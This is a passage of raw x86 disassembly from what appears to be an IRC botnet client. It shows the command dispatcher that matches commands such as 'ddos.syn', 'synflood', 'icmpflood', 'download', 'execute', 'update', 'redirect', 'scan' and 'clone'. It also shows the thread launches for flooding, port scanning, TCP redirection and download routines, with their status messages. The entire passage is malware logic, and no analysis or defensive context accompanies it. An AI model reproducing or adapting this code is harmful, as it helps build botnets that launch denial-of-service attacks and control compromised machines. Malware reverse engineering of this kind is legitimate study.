		jz	loc_40CFF7
		push	5
		mov	edi, eax
		mov	esi, offset aMode ; "mode"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40CFBD
		push	2
		mov	edi, eax
		mov	esi, offset aM	; "m"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40CFBD
		push	6
		mov	edi, eax
		mov	esi, offset aC_raw ; "c_raw"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40CF4E
		push	4
		mov	edi, eax
		mov	esi, offset aC_r ; "c_r"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40CF4E
		push	7
		mov	edi, eax
		mov	esi, offset aC_mode ; "c_mode"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40CEC8
		push	4
		mov	edi, eax
		mov	esi, offset aC_m ; "c_m"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40CEC8
		push	7
		mov	edi, eax
		mov	esi, offset aC_nick ; "c_nick"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40CE57
		push	4
		mov	edi, eax
		mov	esi, offset aC_n ; "c_n"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40CE57
		push	7
		mov	edi, eax
		mov	esi, offset aC_join ; "c_join"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40CE2F
		push	4
		mov	edi, eax
		mov	esi, offset aC_j ; "c_j"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40CE2F
		push	7
		mov	edi, eax
		mov	esi, offset aC_part ; "c_part"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40CDC9
		push	4
		mov	edi, eax
		mov	esi, offset aC_p ; "c_p"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40CDC9
		push	7
		mov	edi, eax
		mov	esi, offset aRepeat ; "repeat"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40CD05
		push	3
		mov	edi, eax
		mov	esi, offset aRp	; "rp"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40CD05
		push	6
		mov	edi, eax
		mov	esi, offset aDelay ; "delay"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40CC68
		push	3
		mov	edi, eax
		mov	esi, offset aDe	; "de"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40CC68
		push	7
		mov	edi, eax
		mov	esi, offset aUpdate ; "update"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40CAA4
		push	3
		mov	edi, eax
		mov	esi, offset aUp	; "up"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40CAA4
		push	8
		mov	edi, eax
		mov	esi, offset aExecute ; "execute"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40CA01
		push	2
		mov	edi, eax
		mov	esi, offset aE	; "e"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40CA01
		push	9
		mov	edi, eax
		mov	esi, offset aFindfile ;	"findfile"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40C8F1
		push	3
		mov	edi, eax
		mov	esi, offset aFf	; "ff"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40C8F1
		push	7
		mov	edi, eax
		mov	esi, offset aRename ; "rename"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40C899
		push	3
		mov	edi, eax
		mov	esi, offset aMv	; "mv"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40C899
		push	0Ah
		mov	edi, eax
		mov	esi, offset aIcmpflood ; "icmpflood"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40C767
		push	5
		mov	edi, eax
		mov	esi, offset aIcmp ; "icmp"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40C767
		mov	ecx, [ebp+ebx+var_98]
		test	ecx, ecx
		mov	[ebp+arg_0], ecx
		jz	loc_409A84
		push	6
		mov	edi, eax
		mov	esi, offset aClone_0 ; "clone"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40C679
		push	2
		mov	edi, eax
		mov	esi, offset aC	; "c"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40C679
		push	9
		mov	edi, eax
		mov	esi, offset aDdos_syn ;	"ddos.syn"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40C556
		push	9
		mov	edi, eax
		mov	esi, offset aDdos_ack ;	"ddos.ack"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40C556
		push	0Ch
		mov	edi, eax
		mov	esi, offset aDdos_random ; "ddos.random"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40C556
		push	9
		mov	edi, eax
		mov	esi, offset aSynflood ;	"synflood"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40C469
		push	4
		mov	edi, eax
		mov	esi, offset aSyn ; "syn"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40C469
		push	9
		mov	edi, eax
		mov	esi, offset aDownload ;	"download"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40C2C7
		push	3
		mov	edi, eax
		mov	esi, offset aDl	; "dl"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40C2C7
		push	9
		mov	edi, eax
		mov	esi, offset aRedirect ;	"redirect"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40C1CA
		push	3
		mov	edi, eax
		mov	esi, offset aRd	; "rd"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40C1CA
		push	5
		mov	edi, eax
		mov	esi, offset aScan ; "scan"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40C0D4
		push	3
		mov	edi, eax
		mov	esi, offset aSc	; "sc"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40C0D4
		push	0Ah
		mov	edi, eax
		mov	esi, offset aC_privmsg ; "c_privmsg"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40BFDE
		push	5
		mov	edi, eax
		mov	esi, offset aC_pm ; "c_pm"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40BFDE
		push	9
		mov	edi, eax
		mov	esi, offset aC_action ;	"c_action"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	short loc_40BEAA
		push	4
		mov	edi, eax
		mov	esi, offset dword_429D60
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jnz	loc_40AC59


loc_40BEAA:				; CODE XREF: sub_409806+268Ej
		push	[ebp+var_8]
		call	sub_416C92
		imul	eax, 234h
		cmp	byte_43B258[eax], 0
		pop	ecx
		jz	loc_40F8C3
		mov	edi, [ebp+var_14]
		test	edi, edi
		jz	loc_40F8C3
		mov	eax, [ebp+var_1C]
		lea	edx, [eax+1]


loc_40BED7:				; CODE XREF: sub_409806+26D6j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_40BED7
		sub	eax, edx
		mov	ebx, eax
		mov	eax, [ebp+var_8]
		lea	ecx, [eax+1]


loc_40BEE8:				; CODE XREF: sub_409806+26E7j
		mov	dl, [eax]
		inc	eax
		test	dl, dl
		jnz	short loc_40BEE8
		sub	eax, ecx
		mov	ecx, eax
		mov	eax, [ebp+var_10]
		lea	esi, [eax+1]


loc_40BEF9:				; CODE XREF: sub_409806+26F8j
		mov	dl, [eax]
		inc	eax
		test	dl, dl
		jnz	short loc_40BEF9
		push	[ebp+arg_0]
		sub	eax, esi
		add	eax, ecx
		add	eax, ebx
		lea	eax, [eax+edi+2]
		push	eax
		call	sub_4173D0
		mov	esi, eax
		push	esi
		lea	eax, [ebp+var_2F0]
		push	offset dword_429D54
		push	eax
		call	sub_416905
		add	esp, 14h
		test	esi, esi
		jz	loc_40F8C3
		mov	edi, [ebp+var_8]
		push	edi
		call	sub_416C92
		test	eax, eax
		pop	ecx
		jle	loc_40F8C3
		push	edi
		call	sub_416C92
		cmp	eax, 1F4h
		pop	ecx
		jge	loc_40F8C3
		xor	ebx, ebx
		push	ebx
		push	ebx
		lea	eax, [ebp+var_2F0]
		push	eax
		push	[ebp+var_10]
		push	edi
		call	sub_416C92
		imul	eax, 234h
		pop	ecx
		push	dword_43B24C[eax]
		call	sub_405D20
		push	edi
		call	sub_416C92
		imul	eax, 234h
		add	esp, 18h
		cmp	byte ptr dword_43B040[eax], 73h
		jnz	loc_40F8C3
		push	esi
		push	edi
		call	sub_416C92
		imul	eax, 234h
		pop	ecx
		add	eax, offset byte_43B258
		push	eax
		push	[ebp+var_10]
		push	offset aSSS_2	; "[%s]	* %s %s"


loc_40BFB4:				; CODE XREF: sub_409806+28C9j
		lea	eax, [ebp+var_2F0]
		push	eax
		call	sub_416905
		push	ebx
		push	[ebp+var_4]
		lea	eax, [ebp+var_2F0]
		push	eax
		push	[ebp+var_9C]
		push	[ebp+arg_4]
		call	sub_405D20
		jmp	loc_40E564
; ---------------------------------------------------------------------------


loc_40BFDE:				; CODE XREF: sub_409806+2666j
					; sub_409806+267Aj
		push	[ebp+var_8]
		call	sub_416C92
		imul	eax, 234h
		cmp	byte_43B258[eax], 0
		pop	ecx
		jz	loc_40F8C3
		mov	edi, [ebp+var_14]
		test	edi, edi
		jz	loc_40F8C3
		mov	eax, [ebp+var_1C]
		lea	edx, [eax+1]


loc_40C00B:				; CODE XREF: sub_409806+280Aj
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_40C00B
		sub	eax, edx
		mov	ebx, eax
		mov	eax, [ebp+var_8]
		lea	ecx, [eax+1]


loc_40C01C:				; CODE XREF: sub_409806+281Bj
		mov	dl, [eax]
		inc	eax
		test	dl, dl
		jnz	short loc_40C01C
		sub	eax, ecx
		mov	ecx, eax
		mov	eax, [ebp+var_10]
		lea	esi, [eax+1]


loc_40C02D:				; CODE XREF: sub_409806+282Cj
		mov	dl, [eax]
		inc	eax
		test	dl, dl
		jnz	short loc_40C02D
		push	[ebp+arg_0]
		sub	eax, esi
		add	eax, ecx
		add	eax, ebx
		lea	eax, [eax+edi+2]
		push	eax
		call	sub_4173D0
		mov	esi, eax
		test	esi, esi
		pop	ecx
		pop	ecx
		jz	loc_40F8C3
		mov	edi, [ebp+var_8]
		push	edi
		call	sub_416C92
		test	eax, eax
		pop	ecx
		jle	loc_40F8C3
		push	edi
		call	sub_416C92
		cmp	eax, 1F4h
		pop	ecx
		jge	loc_40F8C3
		xor	ebx, ebx
		push	ebx
		push	ebx
		push	esi
		push	[ebp+var_10]
		push	edi
		call	sub_416C92
		imul	eax, 234h
		pop	ecx
		push	dword_43B24C[eax]
		call	sub_405D20
		push	edi
		call	sub_416C92
		imul	eax, 234h
		add	esp, 18h
		cmp	byte ptr dword_43B040[eax], 73h
		jnz	loc_40F8C3
		push	esi
		push	edi
		call	sub_416C92
		imul	eax, 234h
		pop	ecx
		add	eax, offset byte_43B258
		push	eax
		push	[ebp+var_10]
		push	offset aSSS_1	; "[%s]	<%s> %s"
		jmp	loc_40BFB4
; ---------------------------------------------------------------------------


loc_40C0D4:				; CODE XREF: sub_409806+263Ej
					; sub_409806+2652j
		push	[ebp+var_8]
		call	dword_43A414	; inet_addr
		push	[ebp+var_10]
		mov	[ebp+var_408], eax
		call	sub_416C92
		push	[ebp+arg_0]
		mov	[ebp+var_414], eax
		call	sub_416C92
		mov	edi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_9C]
		mov	[ebp+var_410], eax
		lea	eax, [ebp+var_494]
		push	eax
		mov	[ebp+var_498], edi
		call	sub_4169C0
		mov	eax, [ebp+var_C]
		mov	ebx, [ebp+var_4]
		add	esp, 14h
		push	[ebp+var_410]
		mov	[ebp+var_400], ebx
		push	[ebp+var_414]
		mov	[ebp+var_3FC], eax
		push	[ebp+var_408]
		call	dword_43A420	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_2F0]
		push	offset aScanPortScanSt ; "[SCAN]: Port scan started: %s:%d with	d"...
		push	eax
		call	sub_416905
		xor	esi, esi
		push	esi
		lea	eax, [ebp+var_2F0]
		push	9
		push	eax
		call	sub_4136B6
		add	esp, 20h
		mov	[ebp+var_40C], eax
		lea	eax, [ebp+var_18]
		push	eax
		push	esi
		lea	eax, [ebp+var_498]
		push	eax
		push	offset sub_4111E7
		push	esi
		push	esi
		call	dword_422008	; CreateThread
		mov	ecx, [ebp+var_40C]
		imul	ecx, 234h
		cmp	eax, esi
		mov	dword_43B254[ecx], eax
		jnz	short loc_40C1BD
		call	dword_422004	; RtlGetLastWin32Error
		push	eax
		push	offset aScanFailedTo_0 ; "[SCAN]: Failed to start scan thread, er"...
		jmp	loc_40C63A
; ---------------------------------------------------------------------------


loc_40C1B5:				; CODE XREF: sub_409806+29BDj
		push	32h
		call	dword_422000	; Sleep


loc_40C1BD:				; CODE XREF: sub_409806+299Cj
		cmp	[ebp+var_3F8], esi
		jz	short loc_40C1B5
		jmp	loc_40C649
; ---------------------------------------------------------------------------


loc_40C1CA:				; CODE XREF: sub_409806+2616j
					; sub_409806+262Aj
		push	[ebp+var_8]
		call	sub_416C92
		push	7Fh
		push	[ebp+var_10]
		mov	[ebp+var_EF8], eax
		lea	eax, [ebp+var_FFC]
		push	eax
		call	sub_4169C0
		push	[ebp+arg_0]
		call	sub_416C92
		push	[ebp+var_9C]
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_EFC], eax
		lea	eax, [ebp+var_F7C]
		push	80h
		push	eax
		mov	[ebp+var_1004],	esi
		call	sub_416B5D
		mov	eax, [ebp+var_C]
		mov	ebx, [ebp+var_4]
		add	esp, 20h
		push	[ebp+var_EFC]
		mov	[ebp+var_EE8], eax
		lea	eax, [ebp+var_FFC]
		push	eax
		push	[ebp+var_EF8]
		mov	[ebp+var_EEC], ebx
		push	esi
		call	sub_408852
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2F0]
		push	offset aRedirectTcpRed ; "[REDIRECT]: TCP redirect created from: "...
		push	eax
		call	sub_416905
		xor	edi, edi
		push	edi
		lea	eax, [ebp+var_2F0]
		push	11h
		push	eax
		call	sub_4136B6
		add	esp, 24h
		mov	[ebp+var_EF4], eax
		lea	eax, [ebp+var_18]
		push	eax
		push	edi
		lea	eax, [ebp+var_1004]
		push	eax
		push	offset sub_4102A3
		push	edi
		push	edi
		call	dword_422008	; CreateThread
		mov	ecx, [ebp+var_EF4]
		imul	ecx, 234h
		cmp	eax, edi
		mov	dword_43B254[ecx], eax
		jnz	short loc_40C2BA
		call	dword_422004	; RtlGetLastWin32Error
		push	eax
		push	offset aRedirectFailed ; "[REDIRECT]: Failed to	start redirection"...
		jmp	loc_40C42A
; ---------------------------------------------------------------------------


loc_40C2B2:				; CODE XREF: sub_409806+2ABAj
		push	32h
		call	dword_422000	; Sleep


loc_40C2BA:				; CODE XREF: sub_409806+2A99j
		cmp	[ebp+var_EE4], edi
		jz	short loc_40C2B2
		jmp	loc_40C439
; ---------------------------------------------------------------------------


loc_40C2C7:				; CODE XREF: sub_409806+25EEj
					; sub_409806+2602j
		mov	esi, 0FFh
		push	esi
		push	[ebp+var_8]
		lea	eax, [ebp+var_E00]
		push	eax
		call	sub_4169C0
		push	[ebp+arg_0]
		xor	edi, edi
		mov	[ebp+var_AFC], edi
		call	sub_416C92
		mov	[ebp+var_AF8], eax
		mov	eax, [ebp+ebx+var_94]
		add	esp, 10h
		cmp	eax, edi
		jz	short loc_40C314
		push	10h
		push	edi
		push	eax
		call	sub_417729
		add	esp, 0Ch
		mov	[ebp+var_AF0], eax
		jmp	short loc_40C31A
; ---------------------------------------------------------------------------


loc_40C314:				; CODE XREF: sub_409806+2AF8j
		mov	[ebp+var_AF0], edi


loc_40C31A:				; CODE XREF: sub_409806+2B0Cj
		mov	ebx, [ebp+ebx+var_90]
		cmp	ebx, edi
		jz	short loc_40C334
		push	ebx
		call	sub_416C92
		pop	ecx
		mov	[ebp+var_AF4], eax
		jmp	short loc_40C33A
; ---------------------------------------------------------------------------


loc_40C334:				; CODE XREF: sub_409806+2B1Dj
		mov	[ebp+var_AF4], edi


loc_40C33A:				; CODE XREF: sub_409806+2B2Cj
		push	3Fh
		push	[ebp+var_10]
		call	sub_417E10
		mov	ebx, eax
		cmp	ebx, edi
		pop	ecx
		pop	ecx
		jz	short loc_40C374
		and	byte ptr [ebx],	0
		inc	ebx


loc_40C350:				; CODE XREF: sub_409806+2B5Bj
		push	26h
		push	ebx
		call	sub_417E10
		cmp	eax, edi
		pop	ecx
		pop	ecx
		jz	short loc_40C363
		mov	byte ptr [eax],	20h
		jmp	short loc_40C350
; ---------------------------------------------------------------------------


loc_40C363:				; CODE XREF: sub_409806+2B56j
		push	esi
		lea	eax, [ebp+var_C00]
		push	ebx
		push	eax
		call	sub_4169C0
		add	esp, 0Ch


loc_40C374:				; CODE XREF: sub_409806+2B44j
		push	esi
		push	[ebp+var_10]
		lea	eax, [ebp+var_D00]
		push	eax
		call	sub_4169C0
		movzx	eax, [ebp+var_38B]
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_9C]
		mov	[ebp+var_AEC], eax
		lea	eax, [ebp+var_E80]
		push	eax
		mov	[ebp+var_E84], esi
		call	sub_4169C0
		push	[ebp+var_10]
		mov	eax, [ebp+var_C]
		push	[ebp+var_8]
		mov	ebx, [ebp+var_4]
		mov	[ebp+var_AE8], eax
		lea	eax, [ebp+var_2F0]
		push	offset aDownloadDown_1 ; "[DOWNLOAD]: Downloading URL: %s to: %s."...
		push	eax
		mov	[ebp+var_AE4], ebx
		call	sub_416905
		push	esi
		lea	eax, [ebp+var_2F0]
		push	16h
		push	eax
		call	sub_4136B6
		add	esp, 34h
		mov	[ebp+var_B00], eax
		lea	eax, [ebp+var_18]
		push	eax
		push	edi
		lea	eax, [ebp+var_E84]
		push	eax
		push	offset sub_402C2F
		push	edi
		push	edi
		call	dword_422008	; CreateThread
		mov	ecx, [ebp+var_B00]
		imul	ecx, 234h
		cmp	eax, edi
		mov	dword_43B254[ecx], eax
		jnz	short loc_40C45F
		call	dword_422004	; RtlGetLastWin32Error
		push	eax
		push	offset aDownloadFailed ; "[DOWNLOAD]: Failed to	start transfer th"...


loc_40C42A:				; CODE XREF: sub_409806+2AA7j
					; sub_409806+4A3Ej ...
		lea	eax, [ebp+var_2F0]
		push	eax
		call	sub_416905
		add	esp, 0Ch


loc_40C439:				; CODE XREF: sub_409806+2ABCj
					; sub_409806+2C61j ...
		cmp	[ebp+var_C], edi
		jnz	loc_40EE11
		push	edi
		push	ebx
		lea	eax, [ebp+var_2F0]
		push	eax
		push	[ebp+var_9C]
		push	esi
		jmp	loc_40EE09
; ---------------------------------------------------------------------------


loc_40C457:				; CODE XREF: sub_409806+2C5Fj
		push	32h
		call	dword_422000	; Sleep


loc_40C45F:				; CODE XREF: sub_409806+2C16j
		cmp	[ebp+var_AE0], edi
		jz	short loc_40C457
		jmp	short loc_40C439
; ---------------------------------------------------------------------------


loc_40C469:				; CODE XREF: sub_409806+25C6j
					; sub_409806+25DAj
		push	7Fh
		pop	esi
		push	esi
		push	[ebp+var_8]
		lea	eax, [ebp+var_1A54]
		push	eax
		call	sub_4169C0
		push	esi
		push	[ebp+var_10]
		lea	eax, [ebp+var_19D4]
		push	eax
		call	sub_4169C0
		push	esi
		push	[ebp+arg_0]
		lea	eax, [ebp+var_1954]
		push	eax
		call	sub_4169C0
		push	esi
		push	[ebp+var_9C]
		lea	eax, [ebp+var_18D4]
		push	eax
		call	sub_4169C0
		push	[ebp+arg_0]
		mov	eax, [ebp+var_C]
		push	[ebp+var_10]
		mov	ebx, [ebp+var_4]
		push	[ebp+var_8]
		mov	edi, [ebp+arg_4]
		mov	[ebp+var_184C],	eax
		lea	eax, [ebp+var_2F0]
		push	offset aSynFloodingSSF ; "[SYN]: Flooding: (%s:%s) for %s seconds"...
		push	eax
		mov	[ebp+var_1850],	ebx
		mov	[ebp+var_1A58],	edi
		call	sub_416905
		add	esp, 44h
		xor	esi, esi
		push	esi
		lea	eax, [ebp+var_2F0]
		push	0Ch
		push	eax
		call	sub_4136B6
		add	esp, 0Ch
		mov	[ebp+var_1854],	eax
		lea	eax, [ebp+var_18]
		push	eax
		push	esi
		lea	eax, [ebp+var_1A58]
		push	eax
		push	offset sub_4128D2
		push	esi
		push	esi
		call	dword_422008	; CreateThread
		mov	ecx, [ebp+var_1854]
		imul	ecx, 234h
		cmp	eax, esi
		mov	dword_43B254[ecx], eax
		jnz	short loc_40C549
		call	dword_422004	; RtlGetLastWin32Error
		push	eax
		push	offset aSynFailedToSta ; "[SYN]: Failed	to start flood thread, er"...
		jmp	loc_40C63A
; ---------------------------------------------------------------------------


loc_40C541:				; CODE XREF: sub_409806+2D49j
		push	32h
		call	dword_422000	; Sleep


loc_40C549:				; CODE XREF: sub_409806+2D28j
		cmp	[ebp+var_1848],	esi
		jz	short loc_40C541
		jmp	loc_40C649
; ---------------------------------------------------------------------------


loc_40C556:				; CODE XREF: sub_409806+258Aj
					; sub_409806+259Ej ...
		push	7Fh
		pop	esi
		push	esi
		push	[ebp+var_8]
		lea	eax, [ebp+var_1CE4]
		push	eax
		call	sub_4169C0
		push	esi
		push	[ebp+var_10]
		lea	eax, [ebp+var_1C64]
		push	eax
		call	sub_4169C0
		push	esi
		push	[ebp+arg_0]
		lea	eax, [ebp+var_1BE4]
		push	eax
		call	sub_4169C0
		push	esi
		push	[ebp+var_9C]
		lea	eax, [ebp+var_1B64]
		push	eax
		call	sub_4169C0
		push	20h
		push	[ebp+var_1C]
		lea	eax, [ebp+var_1AE4]
		push	eax
		call	sub_4169C0
		push	[ebp+arg_0]
		mov	eax, [ebp+var_C]
		push	[ebp+var_10]
		mov	ebx, [ebp+var_4]
		push	[ebp+var_8]
		mov	edi, [ebp+arg_4]
		mov	[ebp+var_1A60],	eax
		lea	eax, [ebp+var_2F0]
		push	offset aDdosFloodingSS ; "[DDoS]: Flooding: (%s:%s) for	%s second"...
		push	eax
		mov	[ebp+var_1A64],	ebx
		mov	[ebp+var_1CEC],	edi
		call	sub_416905
		add	esp, 50h
		xor	esi, esi
		push	esi
		lea	eax, [ebp+var_2F0]
		push	0Bh
		push	eax
		call	sub_4136B6
		add	esp, 0Ch
		mov	[ebp+var_1CE8],	eax
		lea	eax, [ebp+var_18]
		push	eax
		push	esi
		lea	eax, [ebp+var_1CEC]
		push	eax
		push	offset sub_402B61
		push	esi
		push	esi
		call	dword_422008	; CreateThread
		mov	ecx, [ebp+var_1CE8]
		imul	ecx, 234h
		cmp	eax, esi
		mov	dword_43B254[ecx], eax
		jnz	short loc_40C66F
		call	dword_422004	; RtlGetLastWin32Error
		push	eax
		push	offset aDdosFailedToSt ; "[DDoS]: Failed to start flood	thread,	e"...


loc_40C63A:				; CODE XREF: sub_409806+29AAj
					; sub_409806+2D36j
		lea	eax, [ebp+var_2F0]
		push	eax
		call	sub_416905
		add	esp, 0Ch


loc_40C649:				; CODE XREF: sub_409806+29BFj
					; sub_409806+2D4Bj ...
		cmp	[ebp+var_C], esi
		jnz	loc_40EE11
		push	esi
		push	ebx
		lea	eax, [ebp+var_2F0]
		push	eax
		push	[ebp+var_9C]
		push	edi
		jmp	loc_40EE09
; ---------------------------------------------------------------------------


loc_40C667:				; CODE XREF: sub_409806+2E6Fj
		push	32h
		call	dword_422000	; Sleep


loc_40C66F:				; CODE XREF: sub_409806+2E26j
		cmp	[ebp+var_1A5C],	esi
		jz	short loc_40C667
		jmp	short loc_40C649
; ---------------------------------------------------------------------------


loc_40C679:				; CODE XREF: sub_409806+2562j
					; sub_409806+2576j
		push	7Fh
		push	[ebp+var_8]
		lea	eax, [ebp+var_16AC]
		push	eax
		call	sub_4169C0
		push	[ebp+var_10]
		call	sub_416C92
		push	3Fh
		push	[ebp+arg_0]
		mov	[ebp+var_155C],	eax
		lea	eax, [ebp+var_162C]
		push	eax
		call	sub_4169C0
		mov	ebx, [ebp+ebx+var_94]
		xor	esi, esi
		add	esp, 1Ch
		cmp	ebx, esi
		jz	short loc_40C6CB
		push	3Fh
		lea	eax, [ebp+var_15EC]
		push	ebx
		push	eax
		call	sub_4169C0
		add	esp, 0Ch


loc_40C6CB:				; CODE XREF: sub_409806+2EB1j
		lea	eax, [ebp+var_162C]
		push	eax
		push	[ebp+var_155C]
		lea	eax, [ebp+var_16AC]
		push	eax
		lea	eax, [ebp+var_2F0]
		push	offset aClonesCreatedO ; "[CLONES]: Created on %s:%d, in channel "...
		push	eax
		mov	[ebp+var_1558],	1
		call	sub_416905
		push	esi
		lea	eax, [ebp+var_2F0]
		push	18h
		push	eax
		call	sub_4136B6
		add	esp, 20h
		mov	[ebp+var_1554],	eax
		lea	eax, [ebp+var_18]
		push	eax
		push	esi
		lea	eax, [ebp+var_16B0]
		push	eax
		push	offset sub_4096A7
		push	esi
		push	esi
		call	dword_422008	; CreateThread
		mov	ecx, [ebp+var_1554]
		imul	ecx, 234h
		cmp	eax, esi
		mov	dword_43B254[ecx], eax
		jnz	short loc_40C75A
		call	dword_422004	; RtlGetLastWin32Error
		push	eax
		push	offset aClonesFailedTo ; "[CLONES]: Failed to start clone thread,"...
		jmp	loc_40D825
; ---------------------------------------------------------------------------


loc_40C752:				; CODE XREF: sub_409806+2F5Aj
		push	32h
		call	dword_422000	; Sleep


loc_40C75A:				; CODE XREF: sub_409806+2F39j
		cmp	[ebp+var_1550],	esi
		jz	short loc_40C752
		jmp	loc_40D834
; ---------------------------------------------------------------------------


loc_40C767:				; CODE XREF: sub_409806+2528j
					; sub_409806+253Cj
		push	[ebp+var_10]
		call	sub_416C92
		mov	ebx, [ebp+arg_4]
		xor	edi, edi
		cmp	eax, edi
		pop	ecx
		mov	[ebp+var_8F0], eax
		jle	loc_40C866
		push	[ebp+var_8]
		mov	esi, 80h
		lea	eax, [ebp+var_A78]
		push	esi
		push	eax
		call	sub_416B5D
		push	[ebp+var_9C]
		xor	eax, eax
		cmp	byte ptr [ebp+var_380+2], al
		push	esi
		setnz	al
		mov	[ebp+var_A7C], ebx
		mov	[ebp+var_8EC], eax
		lea	eax, [ebp+var_978]
		push	eax
		call	sub_416B5D
		push	[ebp+var_10]
		mov	eax, [ebp+var_4]
		push	[ebp+var_8]
		mov	[ebp+var_8E8], eax
		mov	eax, [ebp+var_C]
		push	offset aIcmpFloodingSF ; "[ICMP]: Flooding: (%s) for %s	seconds."
		mov	[ebp+var_8E4], eax
		lea	eax, [ebp+var_2F0]
		push	200h
		push	eax
		call	sub_416B5D
		push	edi
		lea	eax, [ebp+var_2F0]
		push	0Eh
		push	eax
		call	sub_4136B6
		add	esp, 38h
		mov	[ebp+var_8F8], eax
		lea	eax, [ebp+var_18]
		push	eax
		push	edi
		lea	eax, [ebp+var_A7C]
		push	eax
		push	offset sub_40598C
		push	edi
		push	edi
		call	dword_422008	; CreateThread
		mov	ecx, [ebp+var_8F8]
		imul	ecx, 234h
		cmp	eax, edi
		mov	dword_43B254[ecx], eax
		jnz	short loc_40C85C
		call	dword_422004	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_2F0]
		push	offset aIcmpFailedToSt ; "[ICMP]: Failed to start flood	thread,	e"...
		push	eax
		call	sub_416905
		add	esp, 0Ch
		jmp	short loc_40C879
; ---------------------------------------------------------------------------


loc_40C854:				; CODE XREF: sub_409806+305Cj
		push	32h
		call	dword_422000	; Sleep


loc_40C85C:				; CODE XREF: sub_409806+302Fj
		cmp	[ebp+var_8E0], edi
		jz	short loc_40C854
		jmp	short loc_40C879
; ---------------------------------------------------------------------------


loc_40C866:				; CODE XREF: sub_409806+2F77j
		lea	eax, [ebp+var_2F0]
		push	offset aIcmpInvalidFlo ; "[ICMP]: Invalid flood	time must be grea"...
		push	eax
		call	sub_416905
		pop	ecx
		pop	ecx


loc_40C879:				; CODE XREF: sub_409806+304Cj
					; sub_409806+305Ej
		cmp	[ebp+var_C], edi
		jnz	loc_40EE11
		push	edi
		push	[ebp+var_4]


loc_40C886:				; CODE XREF: sub_409806+5C5Bj
		lea	eax, [ebp+var_2F0]
		push	eax
		push	[ebp+var_9C]
		push	ebx
		jmp	loc_40EE09
; ---------------------------------------------------------------------------


loc_40C899:				; CODE XREF: sub_409806+2500j
					; sub_409806+2514j
		push	[ebp+var_10]
		push	[ebp+var_8]
		call	dword_4220F4	; MoveFileA
		test	eax, eax
		jz	short loc_40C8CD
		push	[ebp+var_10]
		lea	eax, [ebp+var_2F0]
		push	[ebp+var_8]
		push	offset aFileRenameSToS ; "[FILE]: Rename: '%s' to: '%s'."
		push	200h
		push	eax
		call	sub_416B5D
		add	esp, 14h
		jmp	loc_40EDEE
; ---------------------------------------------------------------------------


loc_40C8CD:				; CODE XREF: sub_409806+30A1j
		push	offset aFile_0	; "[FILE]:"
		call	sub_407327
		push	eax
		lea	eax, [ebp+var_2F0]
		push	200h
		push	eax
		call	sub_416B5D
		add	esp, 10h
		jmp	loc_40EDEE
; ---------------------------------------------------------------------------


loc_40C8F1:				; CODE XREF: sub_409806+24D8j
					; sub_409806+24ECj
		push	[ebp+var_8]
		lea	eax, [ebp+var_13BC]
		push	104h
		push	eax
		call	sub_416B5D
		xor	esi, esi
		add	esp, 0Ch
		cmp	[ebp+var_14], esi
		jz	short loc_40C92F
		push	[ebp+var_10]
		push	[ebp+var_14]
		call	sub_4173D0
		cmp	eax, esi
		pop	ecx
		pop	ecx
		jz	short loc_40C92F
		push	eax
		lea	eax, [ebp+var_12B8]
		push	eax
		call	sub_416905
		pop	ecx
		pop	ecx


loc_40C92F:				; CODE XREF: sub_409806+3107j
					; sub_409806+3118j
		push	[ebp+var_9C]
